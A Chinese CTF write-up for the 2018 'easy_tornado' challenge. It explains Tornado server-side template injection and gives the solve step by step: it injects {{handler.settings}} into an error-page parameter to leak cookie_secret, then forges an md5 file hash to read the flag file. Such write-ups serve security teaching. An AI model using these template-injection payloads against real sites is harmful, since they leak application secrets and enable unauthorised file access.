欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

[护网杯 2018]easy_tornado(SSTI服务器端模板注入)

程序员文章站 2022-06-25 11:22:28
tornadoTornado是一种 Web 服务器软件的开源版本。Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。可以考虑服务器端模板注入参考SSTI完全学习SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行,SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty...

tornado
Tornado是一种 Web 服务器软件的开源版本。Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

可以考虑服务器端模板注入

参考SSTI完全学习
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行,SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

模板引擎.:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

render就是渲染函数
self.render(“user.html”,username=user_name,email=user_email,website=user_website,language=user_language)
直接传递用户的数据。

打开环境
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
依次打开
/flag.txt
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
发现flag在/fllllllllllllag

/welcome.txt
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
render是渲染函数,你可以通过这个函数渲染你的template模板
/hints.txt
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
后面的filehash=md5(cookie_secret+md5(filename))

随便操作下,发现报错了
http://134a8ca6-3f60-4407-ac41-2f46bf0ac3dd.node3.buuoj.cn/error?msg=Error
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
考虑msg是SSTI的注入点
传递1
http://134a8ca6-3f60-4407-ac41-2f46bf0ac3dd.node3.buuoj.cn/error?msg={{1}}
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
接下来就是关键了
上面说了filehash=md5(cookie_secret+md5(filename))
filename(/fllllllllllllag)有了,差一个cookie_secret
查阅资料
cookie_secret:由RequestHandler.get_secure_cookieset_secure_cookie用于签署Cookie。
而且cooki_secret在settings(tornado.web.Application.settings)中
settiings:传递给构造函数的其他关键字参数保存在settings字典中,并且在文档中通常称为“应用程序设置”。设置用于自定义tornado的各个方面(尽管在某些情况下,可以通过覆盖的子类中的方法来进行更丰富的自定义RequestHandler)。一些应用程序还喜欢使用settings字典作为使特定于应用程序的设置可供处理程序使用的方式,而无需使用全局变量。在tornado中使用的设置如下所述。
而RequestHandler.settings是self.application.settings的别称,也就是RequestHandler.settings=RequestHandler.application.settings,self取RequestHandler。[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
也就是说RequestHandler.settings=RequestHandler.application.settings
而handler指向RequestHandler,所以handler就指向RequestHandler.application,最后handlers.ettings=RequestHandler.application.settings
最后捋一下

hanlder=RequestHandler
hanlder.settings=RequestHandler.settings
RequestHandler.settings=RequestHandler.application.settings
RequestHandler.application.settings可以调用cookie_secret

hanlder.settings=RequestHandler.application.settings
hanlder.settings可以调用cookie_secret

构造payload:
http://2a36d270-0322-4749-abdf-432d4ada9873.node3.buuoj.cn/error?msg={{handler.settings}}
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
得到了cookie_secret
md5(cookie_secret+md5(filename))表达式套入,md5(0509cf19-6014-4665-977d-f46c618c84bb+md5(/fllllllllllllag))
md5后的/fllllllllllllag加上(0509cf19-6014-4665-977d-f46c618c84bb)cookie_secret,整个再经过一次md5加密
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)
最后payload
http://2a36d270-0322-4749-abdf-432d4ada9873.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=41fd6518f3971de9ebb7f9da2729f80f
[护网杯 2018]easy_tornado(SSTI服务器端模板注入)

本文地址:https://blog.csdn.net/weixin_45253573/article/details/109623436